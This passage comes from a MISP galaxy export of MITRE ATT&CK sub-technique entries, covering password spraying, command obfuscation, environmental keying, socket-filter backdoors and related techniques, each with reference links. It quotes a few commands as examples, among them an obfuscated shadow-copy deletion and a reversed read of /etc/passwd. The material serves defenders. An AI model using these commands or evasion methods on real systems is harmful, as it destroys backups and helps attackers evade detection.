In some instances, artifacts of persistence may also be removed once an adversary's persistence is executed in order to prevent errors with the new instance of the malware.(Citation: NCC Group Team9 June 2020)

The tag is: *misp-galaxy:mitre-attack-pattern="Clear Persistence - T1070.009"*

Table 8639. Table References

Links
https://attack.mitre.org/techniques/T1070/009
https://blog.talosintelligence.com/recent-cyber-attack/
https://research.nccgroup.com/2020/06/02/in-depth-analysis-of-the-new-team9-malware-family/
https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf

Password Guessing - T1110.001

Adversaries with no prior knowledge of legitimate credentials within the system or environment may guess passwords to attempt access to accounts. Without knowledge of the password for an account, an adversary may opt to systematically guess the password using a repetitive or iterative mechanism. An adversary may guess login credentials without prior knowledge of system or

environment passwords during an operation by using a list of common passwords. Password guessing may or may not take into account the target's policies on password complexity or use policies that may lock accounts out after a number of failed attempts.

Guessing passwords can be a risky option because it could cause numerous authentication failures and account lockouts, depending on the organization's login failure policies. (Citation: Cylance Cleaver)

Typically, management services over commonly used ports are used when guessing passwords. Commonly targeted services include the following:

- SSH (22/TCP)
- Telnet (23/TCP)
- FTP (21/TCP)
- NetBIOS / SMB / Samba (139/TCP & 445/TCP)
- LDAP (389/TCP)
- Kerberos (88/TCP)
- RDP / Terminal Services (3389/TCP)
- HTTP/HTTP Management Services (80/TCP & 443/TCP)
- MSSQL (1433/TCP)
- Oracle (1521/TCP)
- MySQL (3306/TCP)
- VNC (5900/TCP)
- SNMP (161/UDP and 162/TCP/UDP)

In addition to management services, adversaries may "target single sign-on (SSO) and cloud-based applications utilizing federated authentication protocols," as well as externally facing email applications, such as Office 365.(Citation: US-CERT TA18-068A 2018). Further, adversaries may abuse network device interfaces (such as `wlanAPI`) to brute force accessible wifi-router(s) via wireless authentication protocols.(Citation: Trend Micro Emotet 2020)

In default environments, LDAP and Kerberos connection attempts are less likely to trigger events over SMB, which creates Windows "logon failure" event ID 4625.

The tag is: *misp-galaxy:mitre-attack-pattern="Password Guessing - T1110.001"*

Table 8640. Table References

Links
https://attack.mitre.org/techniques/T1110/001
https://web.archive.org/web/20200302085133/https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf
https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/emotet-now-spreads-via-wi-fi

https://www.us-cert.gov/ncas/alerts/TA18-086A

Password Cracking - T1110.002

Adversaries may use password cracking to attempt to recover usable credentials, such as plaintext passwords, when credential material such as password hashes are obtained. [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) can be used to obtain password hashes, this may only get an adversary so far when [Pass the Hash](https://attack.mitre.org/techniques/T1550/002) is not an option. Further, adversaries may leverage [Data from Configuration Repository](https://attack.mitre.org/techniques/T1602) in order to obtain hashed credentials for network devices.(Citation: US-CERT-TA18-106A)

Techniques to systematically guess the passwords used to compute hashes are available, or the adversary may use a pre-computed rainbow table to crack hashes. Cracking hashes is usually done on adversary-controlled systems outside of the target network.(Citation: Wikipedia Password cracking) The resulting plaintext password resulting from a successfully cracked hash may be used to log into systems, resources, and services in which the account has access.

The tag is: *misp-galaxy:mitre-attack-pattern="Password Cracking - T1110.002"*

Table 8641. Table References

Links
https://attack.mitre.org/techniques/T1110/002
https://en.wikipedia.org/wiki/Password_cracking
https://www.us-cert.gov/ncas/alerts/TA18-106A

Password Spraying - T1110.003

Adversaries may use a single or small list of commonly used passwords against many different accounts to attempt to acquire valid account credentials. Password spraying uses one password (e.g. 'Password01'), or a small list of commonly used passwords, that may match the complexity policy of the domain. Logins are attempted with that password against many different accounts on a network to avoid account lockouts that would normally occur when brute forcing a single account with many passwords. (Citation: BlackHillsInfosec Password Spraying)

Typically, management services over commonly used ports are used when password spraying. Commonly targeted services include the following:

- SSH (22/TCP)
- Telnet (23/TCP)
- FTP (21/TCP)
- NetBIOS / SMB / Samba (139/TCP & 445/TCP)
- LDAP (389/TCP)
- Kerberos (88/TCP)

- RDP / Terminal Services (3389/TCP)
- HTTP/HTTP Management Services (80/TCP & 443/TCP)
- MSSQL (1433/TCP)
- Oracle (1521/TCP)
- MySQL (3306/TCP)
- VNC (5900/TCP)

In addition to management services, adversaries may "target single sign-on (SSO) and cloud-based applications utilizing federated authentication protocols," as well as externally facing email applications, such as Office 365.(Citation: US-CERT TA18-068A 2018)

In order to avoid detection thresholds, adversaries may deliberately throttle password spraying attempts to avoid triggering security alerting. Additionally, adversaries may leverage LDAP and Kerberos authentication attempts, which are less likely to trigger high-visibility events such as Windows "logon failure" event ID 4625 that is commonly triggered by failed SMB connection attempts.(Citation: Microsoft Storm-0940)

The tag is: *misp-galaxy:mitre-attack-pattern="Password Spraying - T1110.003"*

Table 8642. Table References

Links
http://www.blackhillsinfosec.com/?p=4645
https://attack.mitre.org/techniques/T1110/003
https://www.microsoft.com/en-us/security/blog/2024/10/31/chinese-threat-actor-storm-0940-uses-credentials-from-password-spray-attacks-from-a-covert-network/
https://www.trimarcsecurity.com/single-post/2018/05/06/Trimarc-Research-Detecting-Password-Spraying-with-Security-Event-Auditing
https://www.us-cert.gov/ncas/alerts/TA18-086A

Credential Stuffing - T1110.004

Adversaries may use credentials obtained from breach dumps of unrelated accounts to gain access to target accounts through credential overlap. Occasionally, large numbers of username and password pairs are dumped online when a website or service is compromised and the user account credentials accessed. The information may be useful to an adversary attempting to compromise accounts by taking advantage of the tendency for users to use the same passwords across personal and business accounts.

Credential stuffing is a risky option because it could cause numerous authentication failures and account lockouts, depending on the organization’s login failure policies.

Typically, management services over commonly used ports are used when stuffing credentials. Commonly targeted services include the following:

- SSH (22/TCP)

- Telnet (23/TCP)
- FTP (21/TCP)
- NetBIOS / SMB / Samba (139/TCP & 445/TCP)
- LDAP (389/TCP)
- Kerberos (88/TCP)
- RDP / Terminal Services (3389/TCP)
- HTTP/HTTP Management Services (80/TCP & 443/TCP)
- MSSQL (1433/TCP)
- Oracle (1521/TCP)
- MySQL (3306/TCP)
- VNC (5900/TCP)

In addition to management services, adversaries may "target single sign-on (SSO) and cloud-based applications utilizing federated authentication protocols," as well as externally facing email applications, such as Office 365.(Citation: US-CERT TA18-068A 2018)

The tag is: *misp-galaxy:mitre-attack-pattern="Credential Stuffing - T1110.004"*

Table 8643. Table References

Links
https://attack.mitre.org/techniques/T1110/004
https://www.us-cert.gov/ncas/alerts/TA18-086A

Web Protocols - T1071.001

Adversaries may communicate using application layer protocols associated with web traffic to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.

Protocols such as HTTP/S(Citation: CrowdStrike Putter Panda) and WebSocket(Citation: Brazking-Websockets) that carry web traffic may be very common in environments. HTTP/S packets have many fields and headers in which data can be concealed. An adversary may abuse these protocols to communicate with systems under their control within a victim network while also mimicking normal, expected traffic.

The tag is: *misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001"*

Table 8644. Table References

Links
http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf

https://attack.mitre.org/techniques/T1071/001
https://securityintelligence.com/posts/brazking-android-malware-upgraded-targeting-brazilian-banks/

Bidirectional Communication - T1102.002

Adversaries may use an existing, legitimate external Web service as a means for sending commands to and receiving output from a compromised system over the Web service channel. Compromised systems may leverage popular websites and social media to host command and control (C2) instructions. Those infected systems can then send the output from those commands back over that Web service channel. The return traffic may occur in a variety of ways, depending on the Web service being utilized. For example, the return traffic may take the form of the compromised system posting a comment on a forum, issuing a pull request to development project, updating a document hosted on a Web service, or by sending a Tweet.

Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.

The tag is: *misp-galaxy:mitre-attack-pattern="Bidirectional Communication - T1102.002"*

Table 8645. Table References

Links
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
https://attack.mitre.org/techniques/T1102/002

Malicious Link - T1204.001

An adversary may rely upon a user clicking a malicious link in order to gain execution. Users may be subjected to social engineering to get them to click on a link that will lead to code execution. This user action will typically be observed as follow-on behavior from [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002). Clicking on a link may also lead to other execution techniques such as exploitation of a browser or application vulnerability via [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203). Links may also lead users to download files that require execution via [Malicious File](https://attack.mitre.org/techniques/T1204/002).

The tag is: *misp-galaxy:mitre-attack-pattern="Malicious Link - T1204.001"*

Table 8646. Table References

Links
https://attack.mitre.org/techniques/T1204/001

Port Knocking - T1205.001

Adversaries may use port knocking to hide open ports used for persistence or command and control. To enable a port, an adversary sends a series of attempted connections to a predefined sequence of closed ports. After the sequence is completed, opening a port is often accomplished by the host based firewall, but could also be implemented by custom software.

This technique has been observed both for the dynamic opening of a listening port as well as the initiating of a connection to a listening server on a different system.

The observation of the signal packets to trigger the communication can be conducted through different methods. One means, originally implemented by Cd00r (Citation: Hartrell cd00r 2002), is to use the libpcap libraries to sniff for the packets in question. Another method leverages raw sockets, which enables the malware to use ports that are already open for use by other programs.

The tag is: *misp-galaxy:mitre-attack-pattern="Port Knocking - T1205.001"*

Table 8647. Table References

Links
https://attack.mitre.org/techniques/T1205/001
https://www.giac.org/paper/gcih/342/handle-cd00r-invisible-backdoor/103631

Binary Padding - T1027.001

Adversaries may use binary padding to add junk data and change the on-disk representation of malware. This can be done without affecting the functionality or behavior of a binary, but can increase the size of the binary beyond what some security tools are capable of handling due to file size limitations.

Binary padding effectively changes the checksum of the file and can also be used to avoid hash-based blocklists and static anti-virus signatures.(Citation: ESET OceanLotus) The padding used is commonly generated by a function to create junk data and then appended to the end or applied to sections of malware.(Citation: Securelist Malware Tricks April 2017) Increasing the file size may decrease the effectiveness of certain tools and detection capabilities that are not designed or configured to scan large files. This may also reduce the likelihood of being collected for analysis. Public file scanning services, such as VirusTotal, limits the maximum size of an uploaded file to be analyzed.(Citation: VirusTotal FAQ)

The tag is: *misp-galaxy:mitre-attack-pattern="Binary Padding - T1027.001"*

Table 8648. Table References

Links
https://attack.mitre.org/techniques/T1027/001
https://securelist.com/old-malware-tricks-to-bypass-detection-in-the-age-of-big-data/78010/
https://www.virustotal.com/en/faq/

https://www.welivesecurity.com/2018/03/13/oceanlotus-ships-new-backdoor/

Command Obfuscation - T1027.010

Adversaries may obfuscate content during command execution to impede detection. Command-line obfuscation is a method of making strings and patterns within commands and scripts more difficult to signature and analyze. This type of obfuscation can be included within commands executed by delivered payloads (e.g., [Phishing](https://attack.mitre.org/techniques/T1566) and [Drive-by Compromise](https://attack.mitre.org/techniques/T1189)) or interactively via [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059).(Citation: Akamai JS)(Citation: Malware Monday VBE)

For example, adversaries may abuse syntax that utilizes various symbols and escape characters (such as spacing, `^`, `` `. `$`, and `%` ``) to make commands difficult to analyze while maintaining the same intended functionality.(Citation: RC PowerShell) Many languages support built-in obfuscation in the form of base64 or URL encoding.(Citation: Microsoft PowerShellB64) Adversaries may also manually implement command obfuscation via string splitting (`Wor d.Application`), order and casing of characters (`rev <<<'dwssap/cte/ tac'`), globing (`mkdir -p '/tmp/:&$NiA'`), as well as various tricks involving passing strings through tokens/environment variables/input streams.(Citation: Bashfuscator Command Obfuscators)(Citation: FireEye Obfuscation June 2017)

Adversaries may also use tricks such as directory traversals to obfuscate references to the binary being invoked by a command (`C:\voi\pcw\..\..\Windows\tei\qs\k\..\..\..\system32\erool\..\wbem\wg\je\..\..\wmic.exe shadowcopy delete`).(Citation: Twitter Richard WMIC)

Tools such as <code>Invoke-Obfuscation</code> and <code>Invoke-DOSfucation</code> have also been used to obfuscate commands.(Citation: Invoke-DOSfuscation)(Citation: Invoke-Obfuscation)

The tag is: *misp-galaxy:mitre-attack-pattern="Command Obfuscation - T1027.010"*

Table 8649. Table References

Links
https://attack.mitre.org/techniques/T1027/010
https://bashfuscator.readthedocs.io/en/latest/Mutators/command_obfuscators/index.html
https://bromiley.medium.com/malware-monday-vbscript-and-vbe-files-292252c1a16
https://github.com/danielbohannon/Invoke-DOSfuscation
https://github.com/danielbohannon/Invoke-Obfuscation
https://learn.microsoft.com/powershell/module/microsoft.powershell.core/about/about_powershell_exe?view=powershell-5.1#-encodedcommand-base64encodedcommand
https://redcanary.com/threat-detection-report/techniques/powershell/
https://web.archive.org/web/20170923102302/https://www.fireeye.com/blog/threat-research/2017/06/obfuscation-in-the-wild.html
https://www.akamai.com/blog/security/catch-me-if-you-can-javascript-obfuscation

https://x.com/rfackroyd/status/1639136000755765254

Cloud Services - T1021.007

Adversaries may log into accessible cloud services within a compromised environment using [Valid Accounts](https://attack.mitre.org/techniques/T1078) that are synchronized with or federated to on-premises user identities. The adversary may then perform management actions or access cloud-hosted resources as the logged-on user.

Many enterprises federate centrally managed user identities to cloud services, allowing users to login with their domain credentials in order to access the cloud control plane. Similarly, adversaries may connect to available cloud services through the web console or through the cloud command line interface (CLI) (e.g., [Cloud API](https://attack.mitre.org/techniques/T1059/009)), using commands such as <code>Connect-AZAccount</code> for Azure PowerShell, <code>Connect-MgGraph</code> for Microsoft Graph PowerShell, and <code>gcloud auth login</code> for the Google Cloud CLI.

In some cases, adversaries may be able to authenticate to these services via [Application Access Token](https://attack.mitre.org/techniques/T1550/001) instead of a username and password.

The tag is: *misp-galaxy:mitre-attack-pattern="Cloud Services - T1021.007"*

Table 8650. Table References

Links
https://attack.mitre.org/techniques/T1021/007

Mail Protocols - T1071.003

Adversaries may communicate using application layer protocols associated with electronic mail delivery to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.

Protocols such as SMTP/S, POP3/S, and IMAP that carry electronic mail may be very common in environments. Packets produced from these protocols may have many fields and headers in which data can be concealed. Data could also be concealed within the email messages themselves. An adversary may abuse these protocols to communicate with systems under their control within a victim network while also mimicking normal, expected traffic.(Citation: FireEye APT28)

The tag is: *misp-galaxy:mitre-attack-pattern="Mail Protocols - T1071.003"*

Table 8651. Table References

Links
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
https://attack.mitre.org/techniques/T1071/003

https://web.archive.org/web/20151022204649/https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf

Environmental Keying - T1480.001

Adversaries may environmentally key payloads or other features of malware to evade defenses and constraint execution to a specific target environment. Environmental keying uses cryptography to constrain execution or actions based on adversary supplied environment specific conditions that are expected to be present on the target. Environmental keying is an implementation of [Execution Guardrails](https://attack.mitre.org/techniques/T1480) that utilizes cryptographic techniques for deriving encryption/decryption keys from specific types of values in a given computing environment.(Citation: EK Clueless Agents)

Values can be derived from target-specific elements and used to generate a decryption key for an encrypted payload. Target-specific values can be derived from specific network shares, physical devices, software/software versions, files, joined AD domains, system time, and local/external IP addresses.(Citation: Kaspersky Gauss Whitepaper)(Citation: Proofpoint Router Malvertising)(Citation: EK Impeding Malware Analysis)(Citation: Environmental Keyed HTA)(Citation: Ebowla: Genetic Malware) By generating the decryption keys from target-specific environmental values, environmental keying can make sandbox detection, anti-virus detection, crowdsourcing of information, and reverse engineering difficult.(Citation: Kaspersky Gauss Whitepaper)(Citation: Ebowla: Genetic Malware) These difficulties can slow down the incident response process and help adversaries hide their tactics, techniques, and procedures (TTPs).

Similar to [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027), adversaries may use environmental keying to help protect their TTPs and evade detection. Environmental keying may be used to deliver an encrypted payload to the target that will use target-specific values to decrypt the payload before execution.(Citation: Kaspersky Gauss Whitepaper)(Citation: EK Impeding Malware Analysis)(Citation: Environmental Keyed HTA)(Citation: Ebowla: Genetic Malware)(Citation: Demiguise Guardrail Router Logo) By utilizing target-specific values to decrypt the payload the adversary can avoid packaging the decryption key with the payload or sending it over a potentially monitored network connection. Depending on the technique for gathering target-specific values, reverse engineering of the encrypted payload can be exceptionally difficult.(Citation: Kaspersky Gauss Whitepaper) This can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within.

Like other [Execution Guardrails](https://attack.mitre.org/techniques/T1480), environmental keying can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within. This activity is distinct from typical [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497). While use of [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) may involve checking for known sandbox values and continuing with execution only if there is no match, the use of environmental keying will involve checking for an expected target-specific value that must match for decryption and subsequent execution to be successful.

The tag is: *misp-galaxy:mitre-attack-pattern="Environmental Keying - T1480.001"*

Table 8652. Table References

Links
http://web.archive.org/web/20200608093807/https://www.nccgroup.com/uk/about-us/newsroom-and-events/blogs/2017/august/smuggling-hta-files-in-internet-exploreredge/
https://attack.mitre.org/techniques/T1480/001
https://github.com/Genetic-Malware/Ebowla/blob/master/Eko_2016_Morrow_Pitts_Master.pdf
https://github.com/nccgroup/demiguise/blob/master/examples/virginkey.js
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/20134940/kaspersky-lab-gauss.pdf
https://pdfs.semanticscholar.org/2721/3d206bc3c1e8c229fb4820b6af09e7f975da.pdf
https://www.proofpoint.com/us/threat-insight/post/home-routers-under-attack-malvertising-windows-android-devices
https://www.schneier.com/academic/paperfiles/paper-clueless-agents.pdf

Domain Properties - T1590.001

Adversaries may gather information about the victim's network domain(s) that can be used during targeting. Information about domains and their properties may include a variety of details, including what domain(s) the victim owns as well as administrative data (ex: name, registrar, etc.) and more directly actionable information such as contacts (email addresses and phone numbers), business addresses, and name servers.

Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about victim domains and their properties may also be exposed to adversaries via online or other accessible data sets (ex: [WHOIS](https://attack.mitre.org/techniques/T1596/002)).(Citation: WHOIS)(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Where third-party cloud providers are in use, this information may also be exposed through publicly available API endpoints, such as GetUserRealm and autodiscover in Office 365 environments.(Citation: Azure Active Directory Reconnaisance)(Citation: Office 265 Azure Domain Availability) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596), [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593), or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)).

The tag is: *misp-galaxy:mitre-attack-pattern="Domain Properties - T1590.001"*

Table 8653. Table References

Links
https://attack.mitre.org/techniques/T1590/001

https://dnsdumpster.com/
https://docs.microsoft.com/en-us/archive/blogs/tip_of_the_day/cloud-tip-of-the-day-advanced-way-to-check-domain-availability-for-office-365-and-azure
https://o365blog.com/post/just-looking/
https://who.is/
https://www.circl.lu/services/passive-dns/

Web Cookies - T1606.001

Adversaries may forge web cookies that can be used to gain access to web applications or Internet services. Web applications and services (hosted in cloud SaaS environments or on-premise servers) often use session cookies to authenticate and authorize user access.

Adversaries may generate these cookies in order to gain access to web resources. This differs from [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539) and other similar behaviors in that the cookies are new and forged by the adversary, rather than stolen or intercepted from legitimate users. Most common web applications have standardized and documented cookie values that can be generated using provided tools or interfaces.(Citation: Pass The Cookie) The generation of web cookies often requires secret values, such as passwords, [Private Keys](https://attack.mitre.org/techniques/T1552/004), or other cryptographic seed values.

Once forged, adversaries may use these web cookies to access resources ([Web Session Cookie](https://attack.mitre.org/techniques/T1550/004)), which may bypass multi-factor and other authentication protection mechanisms.(Citation: Volexity SolarWinds)(Citation: Pass The Cookie)(Citation: Unit 42 Mac Crypto Cookies January 2019)

The tag is: *misp-galaxy:mitre-attack-pattern="Web Cookies - T1606.001"*

Table 8654. Table References

Links
https://attack.mitre.org/techniques/T1606/001
https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/
https://wunderwuzzi23.github.io/blog/passthecookie.html
https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/

Upload Malware - T1608.001

Adversaries may upload malware to third-party or adversary controlled infrastructure to make it accessible during targeting. Malicious software can include payloads, droppers, post-compromise tools, backdoors, and a variety of other malicious content. Adversaries may upload malware to support their operations, such as making a payload available to a victim network to enable [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105) by placing it on an Internet accessible web server.

Malware may be placed on infrastructure that was previously purchased/rented by the adversary ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or was otherwise compromised by them ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)). Malware can also be staged on web services, such as GitHub or Pastebin; hosted on the InterPlanetary File System (IPFS), where decentralized content storage makes the removal of malicious files difficult; or saved on the blockchain as smart contracts, which are resilient against takedowns that would affect traditional infrastructure.(Citation: Volexity Ocean Lotus November 2020)(Citation: Talos IPFS 2022)(Citation: Guardio Etherhiding 2023)(Citation: Bleeping Computer Binance Smart Chain 2023)

Adversaries may upload backdoored files, such as software packages, application binaries, virtual machine images, or container images, to third-party software stores, package libraries, extension marketplaces, or repositories (ex: GitHub, CNET, AWS Community AMIs, Docker Hub, PyPi, NPM).(Citation: Datadog Security Labs Malicious PyPi Packages 2024) By chance encounter, victims may directly download/install these backdoored files via [User Execution](https://attack.mitre.org/techniques/T1204). Masquerading, including typo-squatting legitimate software, may increase the chance of users mistakenly executing these files.

The tag is: *misp-galaxy:mitre-attack-pattern="Upload Malware - T1608.001"*

Table 8655. Table References

Links
https://attack.mitre.org/techniques/T1608/001
https://blog.talosintelligence.com/ipfs-abuse/
https://labs.guard.io/etherhiding-hiding-web2-malicious-code-in-web3-smart-contracts-65ea78efad16
https://securitylabs.datadoghq.com/articles/malicious-pypi-package-targeting-highly-specific-macos-machines/
https://www.bleepingcomputer.com/news/security/hackers-use-binance-smart-chain-contracts-to-store-malicious-scripts/
https://www.volexity.com/blog/2020/11/06/oceanlotus-extending-cyber-espionage-operations-through-fake-websites/

Local Groups - T1069.001

Adversaries may attempt to find local system groups and permission settings. The knowledge of local system permission groups can help adversaries determine which groups exist and which users belong to a particular group. Adversaries may use this information to determine which users have elevated permissions, such as the users found within the local administrators group.

Commands such as <code>net localgroup</code> of the [Net](https://attack.mitre.org/software/S0039) utility, <code>dscl . -list /Groups</code> on macOS, and <code>groups</code> on Linux can list local groups.

The tag is: *misp-galaxy:mitre-attack-pattern="Local Groups - T1069.001"*

Table 8656. Table References

Links
https://attack.mitre.org/techniques/T1069/001

Default Accounts - T1078.001

Adversaries may obtain and abuse credentials of a default account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Default accounts are those that are built-into an OS, such as the Guest or Administrator accounts on Windows systems. Default accounts also include default factory/provider set accounts on other types of systems, software, or devices, including the root user account in AWS, the root user account in ESXi, and the default service account in Kubernetes.(Citation: Microsoft Local Accounts Feb 2019)(Citation: AWS Root User)(Citation: Threat Matrix for Kubernetes)

Default accounts are not limited to client machines; rather, they also include accounts that are preset for equipment such as network devices and computer applications, whether they are internal, open source, or commercial. Appliances that come preset with a username and password combination pose a serious threat to organizations that do not change it post installation, as they are easy targets for an adversary. Similarly, adversaries may also utilize publicly disclosed or stolen [Private Keys](https://attack.mitre.org/techniques/T1552/004) or credential materials to legitimately connect to remote environments via [Remote Services](https://attack.mitre.org/techniques/T1021).(Citation: Metasploit SSH Module)

Default accounts may be created on a system after initial setup by connecting or integrating it with another application. For example, when an ESXi server is connected to a vCenter server, a default privileged account called `vpxuser` is created on the ESXi server. If a threat actor is able to compromise this account's credentials (for example, via [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212) on the vCenter host), they will then have access to the ESXi server.(Citation: Google Cloud Threat Intelligence VMWare ESXi Zero-Day 2023)(Citation: Pentera vCenter Information Disclosure)

The tag is: *misp-galaxy:mitre-attack-pattern="Default Accounts - T1078.001"*

Table 8657. Table References

Links
https://attack.mitre.org/techniques/T1078/001
https://cloud.google.com/blog/topics/threat-intelligence/vmware-esxi-zero-day-bypass/
https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html
https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/local-accounts
https://github.com/rapid7/metasploit-framework/tree/master/modules/exploits/linux/ssh
https://pentera.io/blog/information-disclosure-in-vmware-vcenter/
https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/

Local Account - T1087.001

Adversaries may attempt to get a listing of local system accounts. This information can help adversaries determine which local accounts exist on a system to aid in follow-on behavior.

Commands such as <code>net user</code> and <code>net localgroup</code> of the [Net](https://attack.mitre.org/software/S0039) utility and <code>id</code> and <code>groups</code> on macOS and Linux can list local users and groups.(Citation: Mandiant APT1)(Citation: id man page)(Citation: groups man page) On Linux, local users can also be enumerated through the use of the <code>/etc/passwd</code> file. On macOS, the <code>dscl . list /Users</code> command can be used to enumerate local accounts. On ESXi servers, the `esxcli system account list` command can list local user accounts.(Citation: Crowdstrike Hypervisor Jackpotting Pt 2 2021)

The tag is: *misp-galaxy:mitre-attack-pattern="Local Account - T1087.001"*

Table 8658. Table References

Links
https://attack.mitre.org/techniques/T1087/001
https://linux.die.net/man/1/groups
https://linux.die.net/man/1/id
https://www.crowdstrike.com/en-us/blog/hypervisor-jackpotting-ecrime-actors-increase-targeting-of-esxi-servers/
https://www.elastic.co/security-labs/embracing-offensive-tooling-building-detections-against-koadic-using-eql
https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf

Malicious File - T1204.002

An adversary may rely upon a user opening a malicious file in order to gain execution. Users may be subjected to social engineering to get them to open a file that will lead to code execution. This user action will typically be observed as follow-on behavior from [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001). Adversaries may use several types of files that require a user to execute them, including .doc, .pdf, .xls, .rtf, .scr, .exe, .lnk, .pif, .cpl, .reg, and .iso.(Citation: Mandiant Trojanized Windows 10)

Adversaries may employ various forms of [Masquerading](https://attack.mitre.org/techniques/T1036) and [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027) to increase the likelihood that a user will open and successfully execute a malicious file. These methods may include using a familiar naming convention and/or password protecting the file and supplying instructions to a user on how to open it.(Citation: Password Protected Word Docs)

While [Malicious File](https://attack.mitre.org/techniques/T1204/002) frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user's desktop hoping that a user will click on it. This activity may also be seen shortly after [Internal Spearphishing](https://attack.mitre.org/techniques/T1534).

The tag is: *misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002"*

Table 8659. Table References

Links
https://attack.mitre.org/techniques/T1204/002
https://www.bleepingcomputer.com/news/security/psa-dont-open-spam-containing-password-protected-word-docs/
https://www.mandiant.com/resources/blog/trojanized-windows-installers-ukrainian-government

Socket Filters - T1205.002

Adversaries may attach filters to a network socket to monitor then activate backdoors used for persistence or command and control. With elevated permissions, adversaries can use features such as the `libpcap` library to open sockets and install filters to allow or disallow certain types of data to come through the socket. The filter may apply to all traffic passing through the specified network interface (or every interface if not specified). When the network interface receives a packet matching the filter criteria, additional actions can be triggered on the host, such as activation of a reverse shell.

To establish a connection, an adversary sends a crafted packet to the targeted host that matches the installed filter criteria.(Citation: haking9 libpcap network sniffing) Adversaries have used these socket filters to trigger the installation of implants, conduct ping backs, and to invoke command shells. Communication with these socket filters may also be used in conjunction with [Protocol Tunneling](https://attack.mitre.org/techniques/T1572).(Citation: exatrack bpf filters passive backdoors)(Citation: Leonardo Turla Penquin May 2020)

Filters can be installed on any Unix-like platform with `libpcap` installed or on Windows hosts using `Winpcap`. Adversaries may use either `libpcap` with `pcap_setfilter` or the standard library function `setsockopt` with `SO_ATTACH_FILTER` options. Since the socket connection is not active until the packet is received, this behavior may be difficult to detect due to the lack of activity on a host, low CPU overhead, and limited visibility into raw socket usage.

The tag is: *misp-galaxy:mitre-attack-pattern="Socket Filters - T1205.002"*

Table 8660. Table References

Links
http://recursos.aldabaknocking.com/libpcapHakin9LuisMartinGarcia.pdf
https://attack.mitre.org/techniques/T1205/002
https://exatrack.com/public/Tricephalic_Hellkeeper.pdf
https://www.crowdstrike.com/blog/how-to-hunt-for-decisivearchitect-and-justforfun-implant/
https://www.leonardo.com/documents/20142/10868623/Malware+Technical+Insight+_Turla+%E2%80%9CPenquin_x64%E2%80%9D.pdf

Software Packing - T1027.002

Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.(Citation: ESET FinFisher Jan 2018)

Utilities used to perform software packing are called packers. Example packers are MPRESS and UPX. A more comprehensive list of known packers is available, but adversaries may create their own packing techniques that do not leave the same artifacts as well-known packers to evade defenses.(Citation: Awesome Executable Packing)

The tag is: *misp-galaxy:mitre-attack-pattern="Software Packing - T1027.002"*

Table 8661. Table References

Links
https://attack.mitre.org/techniques/T1027/002
https://github.com/dhondta/awesome-executable-packing
https://www.welivesecurity.com/wp-content/uploads/2018/01/WP-FinFisher.pdf

Malicious Image - T1204.003

